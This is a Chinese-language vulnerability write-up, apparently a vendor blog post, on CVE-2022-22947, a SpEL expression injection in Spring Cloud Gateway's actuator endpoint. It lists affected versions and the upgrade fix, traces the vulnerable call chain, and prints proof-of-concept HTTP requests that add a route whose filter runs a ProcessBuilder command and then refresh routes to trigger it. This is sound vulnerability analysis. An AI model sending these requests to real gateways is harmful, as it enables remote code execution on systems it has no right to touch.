写点什么

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

作者:墨菲安全
  • 2023-02-23
    北京
  • 本文字数:2174 字

    阅读完需:约 7 分钟

漏洞概要

Spring Cloud Gateway 是 Spring Cloud 生态中的 API 网关,包含限流、过滤等 API 治理功能。Spring 官方在 2022 年 3 月 1 日发布新版本修复了 Spring Cloud Gateway 中的一处代码注入漏洞。当 actuator 端点开启或暴露时,可以通过 http 请求修改路由,路由中包含的恶意 filter 参数会经过 SPEL 表达式解析,从而导致远程主机执行任意代码。


  • 影响范围:org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)

  • 修复方案:将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本

  • 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077


以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:

0x00 环境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。


git clone https://github.com/spring-cloud/spring-cloud-gatewaycd spring-cloud-gatewaygit checkout v3.1.0
复制代码

0x01 漏洞分析

首先这个漏洞的本质就是一个 Spel 表达式注入。漏洞的触发点位于 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看 diff 点可以发现在安全版本中官方将 StandardEvaluationContext 更换为了 GatewayEvaluationContext 去执行 Spel 表达式



我们回溯一下 getValue 这个方法,发现在 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType 这个枚举中的 DEFAULT 被调用



那么就去跟一下哪里调了 ShortcutType.DEFAULT,发现在 org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType 调用了它



最终在 org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties 对 filter 属性进行解析,最后进入 getValue 执行 SPEL 表达式造成 SPEL 表达式注入。



继续向上,来到 org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由 filters



继续重复之前的操作(向上回溯),会找到这么一条调用链


RouteDefinitionRouteLocator#loadGatewayFilters ->RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> GatewayControllerEndpoint#routes
复制代码



整体流程大致了解了,就是添加路由 filter 然后访问,通过 getValue 触发 Spel 注入最终完成 RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html



来到 org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到 POST 的请求体对应的内容



Filters 内容


0x02 构造 PoC

首先创建路由 filter


POST /actuator/gateway/routes/test HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 212
{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "any", "value": "#{new ProcessBuilder(\"calc\").start()}" } }], "uri": "http://test.com"}
复制代码


发包可以发现 payload 已经注入进 filter 了



接下来刷新一下


POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 2
复制代码


首先在 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties 遍历 filters 属性



接着通过 org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize 调 getValue 解析属性



造成 Spel 注入



最终解锁计算器


0x03 参考链接

https://www.cnblogs.com/bitterz/p/15964852.html


  • https://xz.aliyun.com/t/11004#toc-1

免费情报订阅 & 代码安全检测

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕 SBOM 提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。


代码安全检测: https://www.murphysec.com/?sf=1vi9zs情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs



发布于: 23 分钟前阅读数: 5
用户头像

墨菲安全

关注

还未添加个人签名 2022-03-23 加入

还未添加个人简介

评论

发布
暂无评论
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析_漏洞分析_墨菲安全_InfoQ写作社区